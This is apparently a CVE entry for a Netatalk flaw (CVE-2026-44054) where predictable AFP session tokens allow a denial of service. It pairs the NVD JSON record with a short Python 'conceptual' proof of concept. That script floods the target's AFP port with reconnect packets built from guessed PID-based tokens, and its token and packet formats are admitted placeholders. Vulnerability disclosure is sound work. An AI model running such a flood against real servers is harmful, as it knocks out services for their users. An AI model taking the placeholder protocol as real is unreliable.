CVE-2026-44054

import socket import time # Conceptual Proof of Concept for CVE-2026-44054 # Demonstrates predicting AFP session tokens based on predictable PIDs # to cause a Denial of Service (DoS) via the reconnect mechanism. TARGET_IP = "192.168.1.100" TARGET_PORT = 548 # Default AFP port def predict_token(pid): # Hypothetical token generation logic based on PID # Real implementation requires reversing Netatalk's token generation return f"TOKEN_{pid}" def exploit(): print(f"[*] Targeting {TARGET_IP}:{TARGET_PORT}") # 1. Authenticate as a low-privilege user (Simulation) # ... connection setup code ... # 2. Attempt to flood the reconnect mechanism with predicted tokens for pid_guess in range(1000, 2000): # Guessing PID range try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_IP, TARGET_PORT)) # Construct malicious reconnect packet with predicted token token = predict_token(pid_guess) payload = f"RECONNECT {token}".encode() sock.send(payload) print(f"[*] Sent payload with guessed PID: {pid_guess}") sock.close() except Exception as e: print(f"[-] Error: {e}") print("[*] Attack finished. Check service availability.") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-44054", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:21.017", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netatalk 2.0.0 through 4.4.2 generates AFP session tokens derived from predictable process IDs, which allows a remote authenticated attacker to cause a denial of service by exploiting the reconnect mechanism."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-330"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44054", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}